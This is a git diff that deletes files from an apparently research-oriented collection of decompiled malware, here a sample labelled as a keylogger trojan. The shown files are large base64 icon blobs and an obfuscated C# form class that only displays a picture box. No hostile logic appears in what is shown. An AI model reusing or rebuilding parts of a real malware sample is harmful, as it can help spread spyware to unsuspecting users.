+liP//n4D//5+A//+fgP//fFH//2k4//9pOP//aTj//2k4//1nN68AAAAAAAAAAAAAAAAAAAAAAAAAAP9fPwj9Zzjn/2k4//9pOP//aTj//2k4//+WdP//rpP//66T///Crv////////////////////////Dr///Fsf//rpP//66T//+uk///rpP//66T//+ff///aTj//2k4//9pOP//aTj//2o6MAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAP5oNjj9aTb3/2k4//9oOP//aTj//62S//+9p///vaf//9TF/////////v7//+be///QwP//vaf//72n//+9p///vaf//72n//+9p///vaf//7eg//9pOP//aTj//2k4//5pOGgAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAP5oN1j/aTj//2k4//9pOP//mnr//8u6///Luv//0MD//9/U///d0///y7r//8u6///Luv//y7r//8u6///Luv//y7r//8u6///Luv//j2r//2k4//9pOP/9aTmPAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAP5oN1j9aTb3/2k4//1nN8//o4f//9rO///azv//2s7//9rO///azv//2s7//9rO///azv//2s7//9rO///azv//yLf//4Zf//9pOP//aTj//2k3gAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAP5oNjj9Zzjn/2k4//9pOP//dUj//66V///h1///6eH//+nh///p4f//6eH//+nh///l3P//waz//5Z0//9pOP//aTj//Wc37/5oN1gAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAP9fPwj/aTeA/Wc37/9pOP//aTj//2k4//9wQP//fVP//31T//99U///eEz//2k4//9pOP//aTj//2k4//1oN5f/ajUYAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAD/ajUY/mk4aP1oNrf/aTj//2k4//9pOP//aTj//2k4//9pOP//aTj//Wc3z/9oN3j/ZzcgAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAD+aDY4/2c3QP9nN0D/ZzdA/2c3QAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA///////4P///wAf//wAB//wAAH/4AAA/8AAAH/AAAA/gAAAPwAAAB8AAAAeAAAADgAAAA4AAAAOAAAADgAAAAYAAAAGAAAABgAAAA4AAAAOAAAADwAAAA8AAAAfAAAAH4AAAD/AAAB/4AAAf/AAAP/4AAP//AAH//+AP//////8oAAAAIAAAAEAAAAABAAgAAAAAAAAIAAAAAAAAAAAAAAAAAAAAAAAA/18///9nN//+aDb//2g3//9qNf//Zjn//mg4//9oOP//ajn//2w7//9sPf//bj7//25A//9wQP//ckT//3VH//91SP//d0r//3hM//97Uf//fFL//39W//+BV///gln//4Rc//+GX///h2H//4pk//+NaP//jmr//5Bs//+TcP//lHH//5Z0//+Ydv//mnr//5x8//+ff///n4D//6CA//+ig///o4X//6SG//+liP//p4v//6iM//+skf//rpP//66V//+xmP//spn//7Wd//+3oP//uKD//7ym//+9qP//v6r//8Gs///Crv//xLH//8i2///Kuf/Y2Nj//9DA///Uxv//1cj//9jL///Zzf//2s7//93S///f1P//4df//+Pa///k2///5dz//+be/+Li4v/v7+///+fg///p4f//6uP//+zm///u6f//8Ov///Hs///y7///9vP///r5///8+v///v7/AAAA/wAAAP8AAAD/AAAA/wAAAP8AAAD/AAAA/wAAAP8AAAD/AAAA/wAAAP8AAAD/AAAA/wAAAP8AAAD/AAAA/wAAAP8AAAD/AAAA/wAAAP8AAAD/AAAA/wAAAP8AAAD/AAAA/wAAAP8AAAD/AAAA/wAAAP8AAAD/AAAA/wAAAP8AAAD/AAAA/wAAAP8AAAD/AAAA/wAAAP8AAAD/AAAA/wAAAP8AAAD/AAAA/wAAAP8AAAD/AAAA/wAAAP8AAAD/AAAA/wAAAP8AAAD/AAAA/wAAAP8AAAD/AAAA/wAAAP8AAAD/AAAA/wAAAP8AAAD/AAAA/wAAAP8AAAD/AAAA/wAAAP8AAAD/AAAA/wAAAP8AAAD/AAAA/wAAAP8AAAD/AAAA/wAAAP8AAAD/AAAA/wAAAP8AAAD/AAAA/wAAAP8AAAD/AAAA/wAAAP8AAAD/AAAA/wAAAP8AAAD/AAAA/wAAAP8AAAD/AAAA/wAAAP8AAAD/AAAA/wAAAP8AAAD/AAAA/wAAAP8AAAD/AAAA/wAAAP8AAAD/AAAA/wAAAP8AAAD/AAAA/wAAAP8AAAD/AAAA/wAAAP8AAAD/AAAA/wAAAP8AAAD/AAAA/wAAAP8AAAD/AAAA/wAAAP8AAAD/AAAA/wAAAP8AAAD/AAAA/wAAAP8AAAD/AAAA/wAAAP8AAAD/AAAA/wAAAP8AAAD/AAAA/wAAAP8AAAD/AAAA/wAAAP8AAAD/AAAA/wAAAP8AAAD/AAAA/wAAAP8AAAD/AAAA/wAAAP8AAAD/AAAA/wAAAP8AAAD/AAAA/wAAAP8AAAD/AAAA/wAAAP8AAAD/AAAA/wAAAP8AAAD/AAAA/wAAAP8AAAD/AAAA/wAAAP8AAAD/AAAAAP///////////////////////////////////////////////////////////////////////////////////////////////////wQECAgICQQEL////////////////////////////y8EBBsnJzUnJx4LBAT//////////////////////wQEDis7PT09PT09PT0tFAQ5//////////////////8/BCA4ODk4ODg4ODg4ODg4JA0E////////////////DQ0qMjIyMjIyMjIyMjIyMjMyKw8//////////////0b/OSotLCwtLCwsLCwsLS0tLS0sKg8E////////////BBwkIyQkJCMkIyQkJCQjIyMjIyMkIBFH/////////z8tJR4eHh4eHh4sLjs8QUlJSUlJSS8eFgT///////8n/xYZICoyOkFKWVlZWVlZWVlZWVlZUioYElT//////1T/VFhZWVlZWVlZWVlZWVlZWVlZWVlNNhIPBP//////DSpZWVlZWVlZWVlZWVlZWVlZWVlZWU0vDQ8RVv///yf/P1ZUWFlZTFlZWVlZWVlZWU1NWVlZTR4JBAkE////G/8nT1hZV1k+Pj4+TExMTU1NTVlZWVlWDQkEElT///8nDwQEHD9YWVk+Pj4+Pj4+Pj5NWVlZWTYECQQEBP///wQEBA0EBBZEWVZZPj4+Pj4+PllZWVhYEgQEBBFW////KBEEBAQECQQ/WVlZPj4+Pj5ZWVlZWTUEBAQNBAT///8gDQQEBAQJBAtOWVlZPj4+PllZWFhUDQQEBAQYWf///0L/NQQEBAQECSJYWVk+Pj5ZWVlZWB8EBA0EBAQU/////wQEBAQLBAkEBEhZWT4+TVlYVFg2BAQEBAQRVv//////WSgRBA0EBAQENVhZTT5ZWVJYQgQEBAQNBA8g////////BAQEBAQEDRwuWVlNWVhYVk8gHhEEBAQv/1n///////9ZNhgEBBInJzVYWFlWWFhFKicnJxEEBAQE//////////8SBAQEIC8vOVhYWFZPOy8vLy8vKAQWOVn///////////9ZGwQvNjlAVlZKPzY2NjY2Njk1BAQR/////////////zYgJyo8PT9GRjw/PT88Pz08Py88Wf////////////////9Z/1ZERkJCRkJEQkJEQj0bETb///////////////////82EQ8vQkZGRkpPSjk1PFn/////////////////////////WUY8HBYRFg8EETZH/////////////////////////////zk1Ly85RFn///////////////////////////////////////////////////////////////////g////AB///AAH//AAAf/gAAD/wAAAf8AAAD+AAAA/AAAAHwAAAB4AAAAOAAAADgAAAA4AAAAOAAAABgAAAAYAAAAGAAAADgAAAA4AAAAPAAAADwAAAB8AAAAfgAAAP8AAAH/gAAB/8AAA//gAA//8AAf//4A///////ygAAAAQAAAAIAAAAAEAIAAAAAAAAAgAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAP9/PwT+aDY4/2k5UP5oNkL/ZzcgAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA/2YzFP5nOIz+aTft/35U//+LZP//hVz//3RG//5oN83+ZzhWAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA/mk3Lv5pOeP/i2X//7qj///Fsv//xbL//8Wy///Fsv//qIz//3dL//1oN6H/fz8EAAAAAAAAAAAAAAAA/mQ2HP5pN+H/lnT//62T//+tk///rZP//62T//+tk///rZP//62T//+qj///fVP//Wg4nwAAAAAAAAAAAAAAAP1pN7P/hl7//5Z0//+WdP//lnT//5t7//+qjv//tZ3//7+r//+/q///v6v//5t8//9vQf/+ZjdSAAAAAP9qOjD+aTfh/7mh///Nvf//3dH//+7o//////////////////////////////////vPwf//d0v//mk3yQAAAAD/aTeA/opi+//8+///////+Pj4///////////////////////7+/v/+/v7///////3x7j//24+//9pOP/+azoa/mg3pv52SvH/tp////Hs//X19f/Y2Nj/29vb/93d3f/k5OT/6enp/////////////6OE//9pOP//aTj//mo5Pv5pN67/aTj//2k4//9vQP//xLH///38/+Li4v/Y2Nj/2NjY//X19f///////+zm//9tPf//aTj//2k4//5qOEj+aDeS/mg4/f9pOP//aTj//2o6///f1f//////2NjY/+Li4v////////////+Wc///aTj//2k4//9pOP/+ZzYq/2k5UP9pOP//aTj//2k4//9pOP//m3r//////97e3v/7+/v///j1//+/qv//aTj//2k4//9pOP/+aDfl/38AAv9VKgb+aTjf/2k4//9pOP//fFH//6SH///////7+fj///7+///azv//mHf//39V//9pOP/+aDj9/2k3gAAAAAAAAAAA/mc3Sv5oOP3/aTj//6yQ///Aq////////+3n///Mu///tp3//7ad//+wlv//aTj//mg42f9qPwwAAAAAAAAAAAAAAAD+Zzhs/mg4/f6fgPP/1Mb//9zR///TxP//08T//9PE///Ovv//km///mk43/5qOCQAAAAAAAAAAAAAAAAAAAAAAAAAAP5nN0r+aDfb/31T//+pjP//s5r//7KY//+efv//dEf//Wc4p/5oORYAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA/1UqBv5mOEj+aDeO/2k3oP9pN6D+aTZ0/mQ1JgAAAAAAAAAAAAAAAAAAAAAAAAAA//8AAPAfAADgBwAAwAMAAIADAACAAQAAAAEAAAABAAAAAQAAAAEAAIABAACAAQAAwAMAAOAHAADwDwAA/H8AACgAAAAQAAAAIAAAAAEACAAAAAAAAAIAAAAAAAAAAAAAAAAAAAAAAAAAAAD//18///5oN///aDf//2o1//5oOP//aDj//2o5//9tPf//bj7//29A//90Rv//d0r//3xS//9+VP//hVz//4Ze//+KY///i2T//5Jv//+Wc///lnT//5h3//+bev//m3z//55+//+fgP//o4T//6SH//+ojP//qo7//6yS//+wlv//spn//7Wd//+2nf//uaH//7qj//+/qv//wKv//8Sx//fHuP//zLv//829///Ovv/Y2Nj/29vb/93d3f/e3t7/+8/B///TxP//1Mb//9rO///c0f//39X/4uLi/+Tk5P/p6en//+zm///u6P//8ez/9fX1///49f/4+Pj/+/n4//v7+////Pv///38///+/v8AAAD/AAAA/wAAAP8AAAD/AAAA/wAAAP8AAAD/AAAA/wAAAP8AAAD/AAAA/wAAAP8AAAD/AAAA/wAAAP8AAAD/AAAA/wAAAP8AAAD/AAAA/wAAAP8AAAD/AAAA/wAAAP8AAAD/AAAA/wAAAP8AAAD/AAAA/wAAAP8AAAD/AAAA/wAAAP8AAAD/AAAA/wAAAP8AAAD/AAAA/wAAAP8AAAD/AAAA/wAAAP8AAAD/AAAA/wAAAP8AAAD/AAAA/wAAAP8AAAD/AAAA/wAAAP8AAAD/AAAA/wAAAP8AAAD/AAAA/wAAAP8AAAD/AAAA/wAAAP8AAAD/AAAA/wAAAP8AAAD/AAAA/wAAAP8AAAD/AAAA/wAAAP8AAAD/AAAA/wAAAP8AAAD/AAAA/wAAAP8AAAD/AAAA/wAAAP8AAAD/AAAA/wAAAP8AAAD/AAAA/wAAAP8AAAD/AAAA/wAAAP8AAAD/AAAA/wAAAP8AAAD/AAAA/wAAAP8AAAD/AAAA/wAAAP8AAAD/AAAA/wAAAP8AAAD/AAAA/wAAAP8AAAD/AAAA/wAAAP8AAAD/AAAA/wAAAP8AAAD/AAAA/wAAAP8AAAD/AAAA/wAAAP8AAAD/AAAA/wAAAP8AAAD/AAAA/wAAAP8AAAD/AAAA/wAAAP8AAAD/AAAA/wAAAP8AAAD/AAAA/wAAAP8AAAD/AAAA/wAAAP8AAAD/AAAA/wAAAP8AAAD/AAAA/wAAAP8AAAD/AAAA/wAAAP8AAAD/AAAA/wAAAP8AAAD/AAAA/wAAAP8AAAD/AAAA/wAAAP8AAAD/AAAA/wAAAP8AAAD/AAAA/wAAAP8AAAD/AAAA/wAAAP8AAAD/AAAA/wAAAP8AAAD/AAAA/wAAAP8AAAD/AAAA/wAAAP8AAAD/AAAA/wAAAP8AAAD/AAAA/wAAAP8AAAD/AAAA/wAAAP8AAAD/AAAA/wAAAP8AAAD/AAAA/wAAAP8AAAD/AAAA/wAAAP8AAAAA/////////////////////////////ycSDwz/////////////EiUoKCgoHiT/////////NCAfIB8fHyAeDv//////EBQUFBceIycnJxsg/////0Q2NjtDREREQ0MxDP////8+QD9DQ0RDQUA+KgwZ////Ojo7LS4vNzlCQxsEBP//CwQLKEI3LS09PjYEDx7///8jBAQ2Pi03Qj4UBAQL//8LBAQEF0IvPjsnDBcy/////zQkFBs+Pj40FA4E////////IyQnPjoqIyo0Mv//////////RDoyMjIyF////////////yQ2NjYyJP//////////////////////////////AADwHwAA4AcAAMADAACAAwAAgAEAAAABAAAAAQAAAAEAAAABAACAAQAAgAEAAMADAADgBwAA8A8AAPx/AAAL - - \ No newline at end of file diff --git a/MSIL/Trojan-Spy/MSIL/K/Trojan-Spy.MSIL.KeyLogger.czk-cde7546df369e926f201a20ea21a174728391b0927412058c56dcdd5367e606c/ᡞ.cs b/MSIL/Trojan-Spy/MSIL/K/Trojan-Spy.MSIL.KeyLogger.czk-cde7546df369e926f201a20ea21a174728391b0927412058c56dcdd5367e606c/ᡞ.cs deleted file mode 100644 index 68823997..00000000 --- a/MSIL/Trojan-Spy/MSIL/K/Trojan-Spy.MSIL.KeyLogger.czk-cde7546df369e926f201a20ea21a174728391b0927412058c56dcdd5367e606c/ᡞ.cs +++ /dev/null @@ -1,60 +0,0 @@ -// Decompiled with JetBrains decompiler -// Type: ᡞ -// Assembly: dskl, Version=1.71.0.0, Culture=neutral, PublicKeyToken=null -// MVID: 5380AAD3-568D-45D6-B9BC-59CE5C1E3490 -// Assembly location: C:\Users\Administrateur\Downloads\Virusshare-00001-msil\Trojan-Spy.MSIL.KeyLogger.czk-cde7546df369e926f201a20ea21a174728391b0927412058c56dcdd5367e606c.exe - -using System.ComponentModel; -using System.Drawing; -using System.Windows.Forms; - -public class ᡞ : Form -{ - private IContainer ᡇᙃ; - private PictureBox ᡈᙃ; - private Panel ᡉᙃ; - - public ᡞ() => this.ᡆᙃ(); - - public void ᡠ(string img) => this.ᡈᙃ.ImageLocation = img; - - protected override void Dispose(bool disposing) - { - if (disposing && this.ᡇᙃ != null) - this.ᡇᙃ.Dispose(); - base.Dispose(disposing); - } - - private void ᡆᙃ() - { - ComponentResourceManager componentResourceManager = new ComponentResourceManager(typeof (ᡞ)); - this.ᡈᙃ = new PictureBox(); - this.ᡉᙃ = new Panel(); - ((ISupportInitialize) this.ᡈᙃ).BeginInit(); - this.ᡉᙃ.SuspendLayout(); - this.SuspendLayout(); - this.ᡈᙃ.Dock = DockStyle.Fill; - this.ᡈᙃ.Location = new Point(0, 0); - this.ᡈᙃ.Name = ᙵ.ᝎᙃ; - this.ᡈᙃ.Size = new Size(540, 332); - this.ᡈᙃ.TabIndex = 0; - this.ᡈᙃ.TabStop = false; - this.ᡉᙃ.AutoScroll = true; - this.ᡉᙃ.Controls.Add((Control) this.ᡈᙃ); - this.ᡉᙃ.Dock = DockStyle.Fill; - this.ᡉᙃ.Location = new Point(0, 0); - this.ᡉᙃ.Name = ᙵ.\u177Eᙃ; - this.ᡉᙃ.Size = new Size(540, 332); - this.ᡉᙃ.TabIndex = 1; - this.AutoScaleDimensions = new SizeF(6f, 13f); - this.AutoScaleMode = AutoScaleMode.Font; - this.ClientSize = new Size(540, 332); - this.Controls.Add((Control) this.ᡉᙃ); - this.Icon = (Icon) componentResourceManager.GetObject(ᙵ.\u1752ᙃ); - this.Name = ᙵ.\u1754ᙃ; - this.Text = ᙵ.\u1756ᙃ; - ((ISupportInitialize) this.ᡈᙃ).EndInit(); - this.ᡉᙃ.ResumeLayout(false); - this.ResumeLayout(false); - } -} diff --git a/MSIL/Trojan-Spy/MSIL/K/Trojan-Spy.MSIL.KeyLogger.czk-cde7546df369e926f201a20ea21a174728391b0927412058c56dcdd5367e606c/ᡞ.resx b/MSIL/Trojan-Spy/MSIL/K/Trojan-Spy.MSIL.KeyLogger.czk-cde7546df369e926f201a20ea21a174728391b0927412058c56dcdd5367e606c/ᡞ.resx deleted file mode 100644 index ba9acee3..00000000 --- a/MSIL/Trojan-Spy/MSIL/K/Trojan-Spy.MSIL.KeyLogger.czk-cde7546df369e926f201a20ea21a174728391b0927412058c56dcdd5367e606c/ᡞ.resx +++ /dev/null @@ -1,123 +0,0 @@ - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - text/microsoft-resx - - - 2.0 - - - System.Resources.ResXResourceReader, System.Windows.Forms, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089 - - - System.Resources.ResXResourceWriter, System.Windows.Forms, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089 - - - AAEAAAD/////AQAAAAAAAAAMAgAAAFFTeXN0ZW0uRHJhd2luZywgVmVyc2lvbj0yLjAuMC4wLCBDdWx0dXJlPW5ldXRyYWwsIFB1YmxpY0tleVRva2VuPWIwM2Y1ZjdmMTFkNTBhM2EFAQAAABNTeXN0ZW0uRHJhd2luZy5JY29uAgAAAAhJY29uRGF0YQhJY29uU2l6ZQcEAhNTeXN0ZW0uRHJhd2luZy5TaXplAgAAAAIAAAAJAwAAAAX8////E1N5c3RlbS5EcmF3aW5nLlNpemUCAAAABXdpZHRoBmhlaWdodAAACAgCAAAAAAAAAAAAAAAPAwAAAGYjAAACAAABAAQAICAAAAEAIACoEAAARgAAACAgAAABAAgAqAgAAO4QAAAQEAAAAQAgAGgEAACWGQAAEBAAAAEACABoBQAA/h0AACgAAAAgAAAAQAAAAAEAIAAAAAAAACAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA/28/EP9nN2D/aTeA/2k3gP1pOL/9aTiH/2k3gP5pOGj/ajUYAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA/2c3YP1oNrf/aTj//2k4//9pOP//aTj//2k4//9pOP//aTj//2k4//9pOP/9ZzfP/mk4aP9fPwgAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA/2k5UP1nN8//aTj//2k4//9pOP//h2H//6CA//+ggP//uKD//6CA//+ggP//j2r//208//9pOP//aTj//Wc45/5pOGgAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAP1pOY//aTj//2k4//9yRP//pYj//8Sx///Kuf//yrn//8q5///Kuf//yrn//8q5///Kuf//yrn//6iM//97Uf//aTj//2k4//1nN6//Xz8IAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAP9fPwj9Zzev/2k4//9sO///lHH//7yn//+/qv//v6r//7+q//+/qv//v6r//7+q//+/qv//v6r//7+q//+/qv//v6r//7+q//+cfP//bkD//2k4//1nN8//bz8QAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA/Wg3l/9pOP//bT///6OE//+zmv//s5r//7Oa//+zmv//s5r//7Oa//+zmv//s5r//7Oa//+zmv//s5r//7Oa//+zmv//s5r//7Oa//+ni///dUf//2k4//1pOMf/Xz8IAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAP5oOHD/aTj//Wc37/+fgf//p4v//6eL//+ni///p4v//6eL//+ni///p4v//6eL//+ni///p4v//6eL//+ni///p4v//6eL//+ni///p4v//6eL//+khv//c0X//2k4//1nN68AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAD/Zjko/Wk29/9pOP//jWj//5t7//+be///m3v//5t7//+be///m3v//5t7//+be///m3v//5t7//+be///m3v//5t7//+be///m3v//5t7//+be///m3v//5t7//+Tcf//bD3//2k4//5oN1gAAAAAAAAAAAAAAAAAAAAAAAAAAP1nN6//aTj//5Bs//+QbP//kGz//5Bs//+QbP//kGz//5Bs//+QbP//kGz//6WI//+skf//xLH//8i2///VyP//49r//+Pa///j2v//49r//+Pa///j2v//r5b//5Bs//9/Vv//aTj//Wc45/9fPwgAAAAAAAAAAAAAAAD/ajow/2k4//1pNvf/glj//4Rc//+TcP//o4X//7KZ///Crv//1cf//+Tb///////////////////////////////////////////////////////////////////u6P//o4X//4Nb//9uP///aTj//mk4aAAAAAAAAAAAAAAAAP1pOY//aTj//Wk5j//d0v//////////////////////////////////////////////////////////////////////////////////////////////////////7+/v//+8pv//eEz//3NF//9pOP/9aTi/AAAAAAAAAAAAAAAA/Wk43/9pOP//ooP////////////////////////////////////////////////////////////////////////////////////////////////////////////v7+///6+U//9wQf//cEH//2o4//9pOP//bz8QAAAAAP9nNyD/aTj//Wc37/+xmP////////Lv/////////////////+Li4v/////////////////////////////////////////////////v7+//7+/v/////////////////+/v7///kGz//2s7//9rO///aTn//2k4//5oN1gAAAAA/2c3QP9pOP/9aTjH/519///n4P/////////////6+f//////2NjY/9jY2P/Y2Nj/2NjY/+Li4v/i4uL/4uLi/+/v7//v7+//7+/v/+/v7/////////////////////////bz//9uPv//aTj//2k4//9pOP//aTj//mg4cAAAAAD+aDdY/2k4//9pOP//aTj//2k4//+KZP//y7r/////////////////2NjY/9jY2P/Y2Nj/2NjY/9jY2P/Y2Nj/2NjY/9jY2P/Y2Nj/7+/v////////////////////////vaj//2k4//9pOP//aTj//2k4//9pOP/9aTiHAAAAAP5pOGj/aTj//2k4//9pOP//aTj//2k4//9pOP//gVf//9nN////////9vP//////9jY2P/Y2Nj/2NjY/9jY2P/Y2Nj/2NjY/9jY2P////////////////////////r5//93S///aTj//2k4//9pOP//aTj//2k4//1oOJ8AAAAA/2k5UP9pOP//aTj//2k4//9pOP//aTj//2k4//9pOP//aTj//9DB/////////////////9jY2P/Y2Nj/2NjY/9jY2P/Y2Nj/////////////////////////////uKH//2k4//9pOP//aTj//2k4//9pOP//aTj//2k3gAAAAAD+aDY4/2k4//9pOP//aTj//2k4//9pOP//aTj//2k4//9pOP//bj7//+fg/////////////////9jY2P/Y2Nj/2NjY/9jY2P///////////////////////+zm//9uPv//aTj//2k4//9pOP//aTj//2o4//9pOP/+aThoAAAAAP9vPxD/aTj//Wk29/9pOP//aTj//2k4//9pOP//aTj//2k4//9pOP//mHb/////////////////2NjY/9jY2P/Y2Nj/////////////////////////////k3D//2k4//9pOP//aTj//2k4//9pOP//aTn//2k4//9nN0AAAAAAAAAAAP1pOMf/aTj//2k4//9pOP//aTj//2k4//9pOP//aTj//2k4//9pOP//49r////////////Y2Nj/2NjY/+/v7//////////////x7P///////7ih//9pOP//aTj//2k4//9pOP//aTj//2k4//9pOP/9Zzfv/18/CAAAAAAAAAAA/2g3eP9pOP//aTj//2k4//9pOP//aTj//2k4//9pOP//aTj//2s6//+1nf///////////+/v7//Y2Nj/////////////7+r////////Yy///azv//2k4//9pOP//aTj//2k4//9pOP//aTj//2k4//1pOKcAAAAAAAAAAAAAAAD/ajUY/Wk29/9pOP//aTj//2k4//9pOP//aTj//2k4//9yRP//jmn//6yR////////////7+/v//////////////z6////////6uP//5Nx//+Pa///d0r//2k4//9pOP//aTj//2k4//1pNvf/aTj//2k5UAAAAAAAAAAAAAAAAAAAAAD9aTiH/2k4//9pOP//aTj//2k4//9pOP//d0r//519//+fgP//t6D///////////////////bz/////////////9vP//+liP//n4D//5+A//+fgP//fFH//2k4//9pOP//aTj//2k4//1nN68AAAAAAAAAAAAAAAAAAAAAAAAAAP9fPwj9Zzjn/2k4//9pOP//aTj//2k4//+WdP//rpP//66T///Crv////////////////////////Dr///Fsf//rpP//66T//+uk///rpP//66T//+ff///aTj//2k4//9pOP//aTj//2o6MAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAP5oNjj9aTb3/2k4//9oOP//aTj//62S//+9p///vaf//9TF/////////v7//+be///QwP//vaf//72n//+9p///vaf//72n//+9p///vaf//7eg//9pOP//aTj//2k4//5pOGgAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAP5oN1j/aTj//2k4//9pOP//mnr//8u6///Luv//0MD//9/U///d0///y7r//8u6///Luv//y7r//8u6///Luv//y7r//8u6///Luv//j2r//2k4//9pOP/9aTmPAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAP5oN1j9aTb3/2k4//1nN8//o4f//9rO///azv//2s7//9rO///azv//2s7//9rO///azv//2s7//9rO///azv//yLf//4Zf//9pOP//aTj//2k3gAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAP5oNjj9Zzjn/2k4//9pOP//dUj//66V///h1///6eH//+nh///p4f//6eH//+nh///l3P//waz//5Z0//9pOP//aTj//Wc37/5oN1gAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAP9fPwj/aTeA/Wc37/9pOP//aTj//2k4//9wQP//fVP//31T//99U///eEz//2k4//9pOP//aTj//2k4//1oN5f/ajUYAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAD/ajUY/mk4aP1oNrf/aTj//2k4//9pOP//aTj//2k4//9pOP//aTj//Wc3z/9oN3j/ZzcgAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAD+aDY4/2c3QP9nN0D/ZzdA/2c3QAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA///////4P///wAf//wAB//wAAH/4AAA/8AAAH/AAAA/gAAAPwAAAB8AAAAeAAAADgAAAA4AAAAOAAAADgAAAAYAAAAGAAAABgAAAA4AAAAOAAAADwAAAA8AAAAfAAAAH4AAAD/AAAB/4AAAf/AAAP/4AAP//AAH//+AP//////8oAAAAIAAAAEAAAAABAAgAAAAAAAAIAAAAAAAAAAAAAAAAAAAAAAAA/18///9nN//+aDb//2g3//9qNf//Zjn//mg4//9oOP//ajn//2w7//9sPf//bj7//25A//9wQP//ckT//3VH//91SP//d0r//3hM//97Uf//fFL//39W//+BV///gln//4Rc//+GX///h2H//4pk//+NaP//jmr//5Bs//+TcP//lHH//5Z0//+Ydv//mnr//5x8//+ff///n4D//6CA//+ig///o4X//6SG//+liP//p4v//6iM//+skf//rpP//66V//+xmP//spn//7Wd//+3oP//uKD//7ym//+9qP//v6r//8Gs///Crv//xLH//8i2///Kuf/Y2Nj//9DA///Uxv//1cj//9jL///Zzf//2s7//93S///f1P//4df//+Pa///k2///5dz//+be/+Li4v/v7+///+fg///p4f//6uP//+zm///u6f//8Ov///Hs///y7///9vP///r5///8+v///v7/AAAA/wAAAP8AAAD/AAAA/wAAAP8AAAD/AAAA/wAAAP8AAAD/AAAA/wAAAP8AAAD/AAAA/wAAAP8AAAD/AAAA/wAAAP8AAAD/AAAA/wAAAP8AAAD/AAAA/wAAAP8AAAD/AAAA/wAAAP8AAAD/AAAA/wAAAP8AAAD/AAAA/wAAAP8AAAD/AAAA/wAAAP8AAAD/AAAA/wAAAP8AAAD/AAAA/wAAAP8AAAD/AAAA/wAAAP8AAAD/AAAA/wAAAP8AAAD/AAAA/wAAAP8AAAD/AAAA/wAAAP8AAAD/AAAA/wAAAP8AAAD/AAAA/wAAAP8AAAD/AAAA/wAAAP8AAAD/AAAA/wAAAP8AAAD/AAAA/wAAAP8AAAD/AAAA/wAAAP8AAAD/AAAA/wAAAP8AAAD/AAAA/wAAAP8AAAD/AAAA/wAAAP8AAAD/AAAA/wAAAP8AAAD/AAAA/wAAAP8AAAD/AAAA/wAAAP8AAAD/AAAA/wAAAP8AAAD/AAAA/wAAAP8AAAD/AAAA/wAAAP8AAAD/AAAA/wAAAP8AAAD/AAAA/wAAAP8AAAD/AAAA/wAAAP8AAAD/AAAA/wAAAP8AAAD/AAAA/wAAAP8AAAD/AAAA/wAAAP8AAAD/AAAA/wAAAP8AAAD/AAAA/wAAAP8AAAD/AAAA/wAAAP8AAAD/AAAA/wAAAP8AAAD/AAAA/wAAA